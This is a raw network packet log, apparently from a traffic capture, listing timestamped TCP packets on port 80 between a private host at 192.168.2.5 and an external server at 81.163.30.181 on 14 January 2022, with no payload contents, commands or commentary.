Jan 14, 2022 21:05:51.440237999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440282106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440288067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440319061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440330982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440359116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440396070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440397978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440437078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440471888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440476894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440515995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440551043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440555096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440596104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440634012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440635920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440675020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440721989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440732956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440759897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440798998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440802097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440844059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440886021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440888882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440933943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440978050 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440979958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441023111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441056013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441062927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441101074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441134930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441142082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441181898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441215992 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441220045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441261053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441293955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441298008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441337109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441370010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441375017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441412926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441450119 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441452026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441492081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441530943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441533089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441575050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441607952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441611052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441651106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441687107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441689968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441729069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441765070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441767931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441807985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441860914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441876888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441929102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.441967964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.441968918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.442007065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.442039967 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.442048073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.461529970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.489105940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.489183903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500359058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500380039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500396013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500412941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500430107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500447035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500458956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500467062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500487089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500503063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500519991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500535965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500551939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500555038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500570059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500586987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500605106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500614882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500623941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500642061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500658035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500658989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500678062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500684977 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500695944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500714064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500716925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500730991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500747919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500754118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500766993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500783920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500786066 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500802994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500818968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500819921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500843048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500859022 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500859976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500879049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500895977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500902891 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500914097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500931978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500947952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.500948906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500967979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500983953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.500996113 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501003027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501020908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501038074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501054049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501056910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501071930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501090050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501106024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501122952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501138926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501154900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501156092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501176119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501192093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501208067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501209021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501228094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501244068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501256943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501261950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501280069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501295090 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501296043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501316071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501332045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501347065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501348019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501367092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501374960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501384974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501401901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501405954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501419067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501436949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501439095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501455069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501471996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501486063 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501488924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501507998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501523972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501528978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501542091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501559019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501568079 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501576900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501595020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501605988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501612902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501631021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501646996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501646996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501666069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501682997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501689911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501701117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501718998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501727104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501737118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501754045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501769066 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501770973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501791000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501806974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.501807928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.501836061 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.519457102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.519524097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.547014952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559639931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559683084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559705973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559745073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559768915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559779882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.559792042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559820890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559837103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.559853077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559871912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559889078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559906960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559923887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559942961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559959888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559978008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.559994936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560003996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560013056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560038090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560053110 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560060978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560075045 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560086012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560112000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560136080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560153008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560161114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560187101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560190916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560211897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560236931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560261011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560262918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560285091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560309887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560311079 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560336113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560359955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560364008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560384989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560408115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560430050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560437918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560455084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560472012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560483932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560511112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560524940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560534954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560559988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560571909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560586929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560611010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560632944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560647011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560656071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560669899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560679913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560704947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560710907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560729980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560751915 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560753107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560776949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560798883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560800076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560827971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560851097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560851097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560874939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560899019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560904026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560921907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560944080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.560945988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560971975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.560993910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561000109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.561019897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561043024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561047077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.561067104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561085939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561103106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561120987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561141014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561160088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561187029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561209917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561233044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561233997 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.561256886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561280012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561284065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.561305046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561309099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.561327934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561352015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561374903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561376095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.561398029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561420918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.561422110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561448097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561469078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.561470985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561495066 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.561496019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561520100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.561542988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.576721907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.577387094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.577415943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.577460051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.619514942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.619635105 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.619683981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.619734049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.619781017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620060921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620110035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620166063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620182991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620203972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620240927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620244026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620282888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620320082 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620322943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620361090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620397091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620397091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620436907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620479107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620506048 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620521069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620562077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620562077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620603085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620642900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620644093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620686054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620724916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620728970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620767117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620800972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620803118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.620831013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.620861053 CET	80	49882	81.163.30.181	192.168.2.5
